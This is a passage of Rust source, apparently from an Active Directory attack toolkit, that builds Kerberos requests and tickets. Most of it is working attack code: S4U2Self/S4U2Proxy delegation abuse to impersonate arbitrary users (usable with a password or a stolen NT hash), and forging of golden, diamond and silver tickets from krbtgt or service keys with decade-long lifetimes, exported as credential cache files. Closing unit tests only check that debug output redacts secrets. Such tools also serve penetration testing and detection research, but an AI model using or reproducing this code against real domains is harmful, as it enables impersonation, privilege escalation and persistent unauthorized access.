ap_options: ExplicitContextTag2::from(BitStringAsn1::from(BitString::with_bytes(vec![
0, 0, 0, 0,
]))),
ticket: ExplicitContextTag3::from(tgt.ticket.clone()),
authenticator: ExplicitContextTag4::from(encrypted_data(
session_etype(&tgt.session_key),
enc_auth,
)),
});
let ap_der = picky_asn1_der::to_vec(&ap_req).map_err(|e| anyhow!("AP-REQ: {e}"))?;
Ok(PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![PA_TGS_REQ])),
padata_data: ExplicitContextTag2::from(OctetStringAsn1(ap_der)),
})
}
fn build_tgs_req(
realm: &str,
sname: PrincipalName,
padatas: Vec<PaData>,
options: [u8; 4],
additional: Vec<picky_krb::data_types::Ticket>,
etypes: &[u8],
) -> Result<picky_krb::messages::TgsReq> {
let add = if additional.is_empty() {
Optional::from(None)
} else {
Optional::from(Some(ExplicitContextTag11::from(Asn1SequenceOf::from(
additional,
))))
};
let body = KdcReqBody {
kdc_options: ExplicitContextTag0::from(BitStringAsn1::from(BitString::with_bytes(
options.to_vec(),
))),
cname: Optional::from(None),
realm: ExplicitContextTag2::from(krb_string(realm)?),
sname: Optional::from(Some(ExplicitContextTag3::from(sname))),
from: Optional::from(None),
till: ExplicitContextTag5::from(crate::far_future_time()),
rtime: Optional::from(None),
nonce: ExplicitContextTag7::from(nonce()),
etype: ExplicitContextTag8::from(Asn1SequenceOf::from(
etypes
.iter()
.map(|e| IntegerAsn1(vec![*e]))
.collect::<Vec<_>>(),
)),
addresses: Optional::from(None),
enc_authorization_data: Optional::from(None),
additional_tickets: add,
};
Ok(TgsReq::from(KdcReq {
pvno: ExplicitContextTag1::from(IntegerAsn1(vec![5])),
msg_type: ExplicitContextTag2::from(IntegerAsn1(vec![TGS_REQ_MSG_TYPE])),
padata: Optional::from(Some(ExplicitContextTag3::from(Asn1SequenceOf::from(
padatas,
)))),
req_body: ExplicitContextTag4::from(body),
}))
}
fn pa_for_user(tgt: &Tgt, impersonate: &str) -> Result<PaData> {
if tgt.session_key.len() != 32 {
bail!(
"S4U2Self (PA-FOR-USER) needs an AES256 TGT session key, got {} bytes — RBCD/constrained \
delegation requires a controlled account with an AES key (password- or machine-account \
based), not an RC4-only/NT-hash TGT",
tgt.session_key.len()
);
}
let mut s4u = Vec::new();
s4u.extend_from_slice(&(NT_PRINCIPAL as i32).to_le_bytes());
s4u.extend_from_slice(impersonate.as_bytes());
s4u.extend_from_slice(tgt.crealm.as_bytes());
s4u.extend_from_slice(b"Kerberos");
let cksum = ChecksumSuite::HmacSha196Aes256
.hasher()
.checksum(&tgt.session_key, KERB_NON_KERB_CKSUM_SALT, &s4u)
.map_err(|e| anyhow!("PA-FOR-USER checksum: {e}"))?;
let pfu = PaForUser {
user_name: ExplicitContextTag0::from(principal(NT_PRINCIPAL, &[impersonate])?),
user_realm: ExplicitContextTag1::from(krb_string(&tgt.crealm)?),
cksum: ExplicitContextTag2::from(Checksum {
cksumtype: ExplicitContextTag0::from(IntegerAsn1(vec![16])), checksum: ExplicitContextTag1::from(OctetStringAsn1(cksum)),
}),
auth_package: ExplicitContextTag3::from(krb_string("Kerberos")?),
};
Ok(PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x00, 0x81])), padata_data: ExplicitContextTag2::from(OctetStringAsn1(
picky_asn1_der::to_vec(&pfu).map_err(|e| anyhow!("PA-FOR-USER encode: {e}"))?,
)),
})
}
pub async fn s4u2self(
tgt: &Tgt,
self_sam: &str,
impersonate: &str,
kdc: &str,
) -> Result<picky_krb::data_types::Ticket> {
let req = build_tgs_req(
&tgt.crealm,
principal(NT_PRINCIPAL, &[self_sam])?,
vec![ap_req_padata(tgt)?, pa_for_user(tgt, impersonate)?],
[0x40, 0x01, 0x00, 0x00], vec![],
&[
crate::ETYPE_AES256,
crate::ETYPE_AES128,
crate::ETYPE_RC4_HMAC,
],
)?;
let resp = kdc_exchange(
kdc,
&picky_asn1_der::to_vec(&req).map_err(|e| anyhow!("S4U2Self encode: {e}"))?,
)
.await?;
let rep: TgsRep = picky_asn1_der::from_bytes(&resp)
.map_err(|_| anyhow!("S4U2Self failed: {}", krb_err(&resp)))?;
Ok(rep.0.ticket.0.clone())
}
fn pa_pac_options_rbcd() -> Result<PaData> {
let opts = PaPacOptions {
flags: ExplicitContextTag0::from(BitStringAsn1::from(BitString::with_bytes(vec![
0x10, 0, 0, 0,
]))),
};
Ok(PaData {
padata_type: ExplicitContextTag1::from(IntegerAsn1(vec![0x00, 0xa7])), padata_data: ExplicitContextTag2::from(OctetStringAsn1(
picky_asn1_der::to_vec(&opts).map_err(|e| anyhow!("PA-PAC-OPTIONS encode: {e}"))?,
)),
})
}
pub async fn s4u2proxy(
tgt: &Tgt,
self_ticket: picky_krb::data_types::Ticket,
target_spn: &str,
kdc: &str,
) -> Result<picky_krb::data_types::Ticket> {
let parts: Vec<&str> = target_spn.split('/').collect();
let req = build_tgs_req(
&tgt.crealm,
principal(NT_SRV_INST, &parts)?,
vec![ap_req_padata(tgt)?, pa_pac_options_rbcd()?],
[0x40, 0x03, 0x00, 0x00], vec![self_ticket],
&[crate::ETYPE_AES256, crate::ETYPE_AES128, ETYPE_RC4_HMAC],
)?;
let resp = kdc_exchange(
kdc,
&picky_asn1_der::to_vec(&req).map_err(|e| anyhow!("S4U2Proxy encode: {e}"))?,
)
.await?;
let rep: TgsRep = picky_asn1_der::from_bytes(&resp)
.map_err(|_| anyhow!("S4U2Proxy failed: {}", krb_err(&resp)))?;
Ok(rep.0.ticket.0.clone())
}
pub async fn rbcd_impersonate(
account: &str,
password: &str,
realm: &str,
kdc: &str,
impersonate: &str,
target_spn: &str,
) -> Result<u32> {
let tgt = get_tgt(account, password, realm, kdc).await?;
rbcd_impersonate_with_tgt(&tgt, account, impersonate, target_spn, kdc).await
}
pub async fn rbcd_impersonate_by_hash(
account: &str,
nt: &[u8; 16],
realm: &str,
kdc: &str,
impersonate: &str,
target_spn: &str,
) -> Result<u32> {
let tgt = get_tgt_by_hash(account, realm, kdc, nt).await?;
rbcd_impersonate_with_tgt(&tgt, account, impersonate, target_spn, kdc).await
}
async fn rbcd_impersonate_with_tgt(
tgt: &Tgt,
account: &str,
impersonate: &str,
target_spn: &str,
kdc: &str,
) -> Result<u32> {
let bare = account.split('@').next().unwrap_or(account);
let bare = bare.rsplit('\\').next().unwrap_or(bare);
let self_ticket = s4u2self(tgt, bare, impersonate, kdc).await?;
let svc_ticket = s4u2proxy(tgt, self_ticket, target_spn, kdc).await?;
let etype = svc_ticket
.0
.enc_part
.0
.etype
.0
.0
.iter()
.fold(0u32, |a, &b| (a << 8) | b as u32);
Ok(etype)
}
#[derive(Default, Clone)]
pub struct TicketTimestamps {
pub auth_time: Option<KerberosTime>,
pub starttime: Option<KerberosTime>,
pub endtime: Option<KerberosTime>,
pub renew_till: Option<KerberosTime>,
pub cname_template: Option<PrincipalName>,
}
fn forge_ticket(
id: &crate::pac::ForgeIdentity,
realm: &str,
ticket_key: &[u8],
server_sig_key: &[u8],
kdc_sig_key: &[u8],
sname: &[&str],
rc4: bool,
) -> Result<Tgt> {
forge_ticket_with_timestamps(
id,
realm,
ticket_key,
server_sig_key,
kdc_sig_key,
sname,
rc4,
&TicketTimestamps::default(),
)
}
#[allow(clippy::too_many_arguments)]
fn forge_ticket_with_timestamps(
id: &crate::pac::ForgeIdentity,
realm: &str,
ticket_key: &[u8],
server_sig_key: &[u8],
kdc_sig_key: &[u8],
sname: &[&str],
rc4: bool,
ts: &TicketTimestamps,
) -> Result<Tgt> {
let realm = realm.to_uppercase();
let pac_bytes = crate::pac::assemble_pac(id, server_sig_key, kdc_sig_key, rc4)?;
let etype = if rc4 {
ETYPE_RC4_HMAC
} else {
crate::ETYPE_AES256
};
let win2k = AuthorizationDataInner {
ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x00, 0x80])), ad_data: ExplicitContextTag1::from(OctetStringAsn1(pac_bytes)),
};
let inner: AuthorizationData = Asn1SequenceOf::from(vec![win2k]);
let inner_der = picky_asn1_der::to_vec(&inner).map_err(|e| anyhow!("encode PAC AD: {e}"))?;
let if_rel = AuthorizationDataInner {
ad_type: ExplicitContextTag0::from(IntegerAsn1(vec![0x01])),
ad_data: ExplicitContextTag1::from(OctetStringAsn1(inner_der)),
};
let auth: AuthorizationData = Asn1SequenceOf::from(vec![if_rel]);
let mut sk = vec![0u8; if rc4 { 16 } else { 32 }];
rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut sk);
let cname = ts
.cname_template
.clone()
.unwrap_or(principal(NT_PRINCIPAL, &[id.user.as_str()])?);
let etp = EncTicketPart {
flags: ExplicitContextTag0::from(BitStringAsn1::from(BitString::with_bytes(vec![
0x40, 0xe1, 0x00, 0x00,
]))),
key: ExplicitContextTag1::from(EncryptionKey {
key_type: ExplicitContextTag0::from(IntegerAsn1(vec![etype])),
key_value: ExplicitContextTag1::from(OctetStringAsn1(sk.clone())),
}),
crealm: ExplicitContextTag2::from(krb_string(&realm)?),
cname: ExplicitContextTag3::from(cname.clone()),
transited: ExplicitContextTag4::from(TransitedEncoding {
tr_type: ExplicitContextTag0::from(IntegerAsn1(vec![0])),
contents: ExplicitContextTag1::from(OctetStringAsn1(vec![])),
}),
auth_time: ExplicitContextTag5::from(
ts.auth_time.clone().unwrap_or_else(now_kerberos_time),
),
starttime: Optional::from(Some(ExplicitContextTag6::from(
ts.starttime.clone().unwrap_or_else(now_kerberos_time),
))),
endtime: ExplicitContextTag7::from(
ts.endtime.clone().unwrap_or_else(crate::far_future_time),
),
renew_till: Optional::from(Some(ExplicitContextTag8::from(
ts.renew_till.clone().unwrap_or_else(crate::far_future_time),
))),
caddr: Optional::from(None),
authorization_data: Optional::from(Some(ExplicitContextTag10::from(auth))),
};
let etp_app: ApplicationTag<EncTicketPart, 3> = ApplicationTag(etp);
let etp_der =
picky_asn1_der::to_vec(&etp_app).map_err(|e| anyhow!("encode EncTicketPart: {e}"))?;
let enc = if rc4 {
crate::rc4::encrypt(ticket_key, 2, &etp_der, None)
} else {
aes256()
.encrypt(ticket_key, 2, &etp_der)
.map_err(|e| anyhow!("encrypt EncTicketPart: {e}"))?
};
let ticket = Ticket::from(TicketInner {
tkt_vno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
realm: ExplicitContextTag1::from(krb_string(&realm)?),
sname: ExplicitContextTag2::from(principal(NT_SRV_INST, sname)?),
enc_part: ExplicitContextTag3::from(encrypted_data(etype, enc)),
});
Ok(Tgt {
ticket,
session_key: sk,
cname,
crealm: realm,
})
}
pub fn forge_golden_tgt(
id: &crate::pac::ForgeIdentity,
realm: &str,
krbtgt_key: &[u8],
rc4: bool,
) -> Result<Tgt> {
let realm_up = realm.to_uppercase();
forge_ticket(
id,
realm,
krbtgt_key,
krbtgt_key,
krbtgt_key,
&["krbtgt", &realm_up],
rc4,
)
}
pub fn forge_diamond_tgt(
real: &Tgt,
id_overrides: &crate::pac::ForgeIdentity,
krbtgt_key: &[u8],
rc4: bool,
) -> Result<Tgt> {
let (etp, _pac_bytes) = crate::pac::decrypt_ticket_pac(real, krbtgt_key)
.context("decrypt real TGT ticket with krbtgt key")?;
let ts = TicketTimestamps {
auth_time: Some(etp.auth_time.0.clone()),
starttime: etp.starttime.0.as_ref().map(|s| s.0.clone()),
endtime: Some(etp.endtime.0.clone()),
renew_till: etp.renew_till.0.as_ref().map(|s| s.0.clone()),
cname_template: Some(etp.cname.0.clone()),
};
let realm_up = real.crealm.to_uppercase();
forge_ticket_with_timestamps(
id_overrides,
&real.crealm,
krbtgt_key,
krbtgt_key,
krbtgt_key,
&["krbtgt", &realm_up],
rc4,
&ts,
)
}
pub fn forge_silver_tgt(
id: &crate::pac::ForgeIdentity,
realm: &str,
service_key: &[u8],
spn: &str,
rc4: bool,
) -> Result<Tgt> {
let comps: Vec<&str> = spn.split('/').collect();
forge_ticket(
id,
realm,
service_key,
service_key,
service_key,
&comps,
rc4,
)
}
pub fn golden_ccache(tgt: &Tgt, user: &str) -> Result<Vec<u8>> {
ccache_for(tgt, user, &["krbtgt", &tgt.crealm.clone()])
}
pub fn silver_ccache(tgt: &Tgt, user: &str, spn: &str) -> Result<Vec<u8>> {
let comps: Vec<&str> = spn.split('/').collect();
ccache_for(tgt, user, &comps)
}
fn ccache_for(tgt: &Tgt, user: &str, server: &[&str]) -> Result<Vec<u8>> {
use crate::pkinit::{cvec, write_principal};
let realm = &tgt.crealm;
let mut c = Vec::new();
c.extend_from_slice(&[0x05, 0x04]); let header = [0x00u8, 0x01, 0x00, 0x08, 0, 0, 0, 0, 0, 0, 0, 0];
c.extend_from_slice(&(header.len() as u16).to_be_bytes());
c.extend_from_slice(&header);
write_principal(&mut c, NT_PRINCIPAL as u32, realm, &[user]); write_principal(&mut c, NT_PRINCIPAL as u32, realm, &[user]); write_principal(&mut c, NT_SRV_INST as u32, realm, server);
c.extend_from_slice(&(session_etype(&tgt.session_key) as u16).to_be_bytes());
c.extend_from_slice(&0u16.to_be_bytes());
c.extend_from_slice(&(tgt.session_key.len() as u16).to_be_bytes());
c.extend_from_slice(&tgt.session_key);
let now = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs() as u32)
.unwrap_or(0);
let far = now.saturating_add(10 * 365 * 24 * 3600);
for t in [now, now, far, far] {
c.extend_from_slice(&t.to_be_bytes());
}
c.push(0); c.extend_from_slice(&0x50e10000u32.to_be_bytes()); c.extend_from_slice(&0u32.to_be_bytes()); c.extend_from_slice(&0u32.to_be_bytes());
let ticket_der =
picky_asn1_der::to_vec(&tgt.ticket).map_err(|e| anyhow!("encode ticket: {e}"))?;
cvec(&mut c, &ticket_der);
cvec(&mut c, &[]); Ok(c)
}
#[cfg(test)]
mod ws_redact_ticket_tests {
use super::{
encrypted_data, krb_string, principal, PrincipalName, ServiceTicket, Tgt, Ticket,
TicketInner, NT_SRV_INST,
};
use picky_asn1::wrapper::{
ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2, ExplicitContextTag3,
IntegerAsn1,
};
fn sentinel_ticket() -> Ticket {
Ticket::from(TicketInner {
tkt_vno: ExplicitContextTag0::from(IntegerAsn1(vec![5])),
realm: ExplicitContextTag1::from(krb_string("TESTLAB.LOCAL").unwrap()),
sname: ExplicitContextTag2::from(
principal(NT_SRV_INST, &["krbtgt", "TESTLAB.LOCAL"]).unwrap(),
),
enc_part: ExplicitContextTag3::from(encrypted_data(
18,
b"CIPHERSENTINEL_MUST_NOT_LEAK".to_vec(),
)),
})
}
fn sentinel_cname() -> PrincipalName {
principal(1 , &["alice"]).unwrap()
}
const SESSION_KEY_SENTINEL: &[u8] = b"SESSIONKEY_SENTINEL_MUST_NOT_LEAK";
#[test]
fn tgt_debug_redacts_session_key_and_ticket() {
let tgt = Tgt {
ticket: sentinel_ticket(),
session_key: SESSION_KEY_SENTINEL.to_vec(),
cname: sentinel_cname(),
crealm: "TESTLAB.LOCAL".to_string(),
};
let dbg = format!("{tgt:?}");
assert!(
dbg.contains("TESTLAB.LOCAL"),
"crealm should appear, got: {dbg}"
);
assert!(
!dbg.contains("SESSIONKEY_SENTINEL_MUST_NOT_LEAK"),
"session_key bytes must be redacted, got: {dbg}"
);
assert!(
!dbg.contains("CIPHERSENTINEL_MUST_NOT_LEAK"),
"ticket ciphertext must be redacted, got: {dbg}"
);
assert!(
dbg.contains("\"***\""),
"Debug output must show redaction placeholder, got: {dbg}"
);
}
#[test]
fn service_ticket_debug_redacts_session_key_and_ticket() {
let st = ServiceTicket {
ticket: sentinel_ticket(),
session_key: SESSION_KEY_SENTINEL.to_vec(),
crealm: "TESTLAB.LOCAL".to_string(),
cname: sentinel_cname(),
spn: vec!["HTTP".to_string(), "webapp01".to_string()],
};
let dbg = format!("{st:?}");
assert!(dbg.contains("TESTLAB.LOCAL"));
assert!(
dbg.contains("HTTP"),
"SPN parts should appear (non-secret): {dbg}"
);
assert!(
!dbg.contains("SESSIONKEY_SENTINEL_MUST_NOT_LEAK"),
"session_key bytes must be redacted, got: {dbg}"
);
assert!(
!dbg.contains("CIPHERSENTINEL_MUST_NOT_LEAK"),
"ticket ciphertext must be redacted, got: {dbg}"
);
assert!(dbg.contains("\"***\""));
}
#[test]
fn tgt_embedded_in_derived_debug_struct_stays_redacted() {
#[derive(Debug)]
#[allow(dead_code)]
struct SomeContext {
note: &'static str,
tgt: Tgt,
}
let ctx = SomeContext {
note: "carrying a tgt around",
tgt: Tgt {
ticket: sentinel_ticket(),
session_key: SESSION_KEY_SENTINEL.to_vec(),
cname: sentinel_cname(),
crealm: "TESTLAB.LOCAL".to_string(),
},
};
let dbg = format!("{ctx:?}");
assert!(dbg.contains("carrying a tgt around"));
assert!(
!dbg.contains("SESSIONKEY_SENTINEL_MUST_NOT_LEAK"),
"embedding a Tgt in a #[derive(Debug)] struct must not leak secrets, got: {dbg}"
);
}
}
#[cfg(test)]
mod aes_key_tests {
use picky_krb::crypto::CipherSuite;
#[test]
fn aes256_string_to_key_stable() {
let derive = |pw: &[u8], salt: &[u8]| {
CipherSuite::Aes256CtsHmacSha196
.cipher()
.generate_key_from_password(pw, salt)
.unwrap()
};
let k = derive(b"password", b"CORP.LOCALalice");
assert_eq!(k.len(), 32);
assert_eq!(k, derive(b"password", b"CORP.LOCALalice")); assert_ne!(k, derive(b"password", b"CORP.LOCALbob")); assert_ne!(k, derive(b"different", b"CORP.LOCALalice")); }
}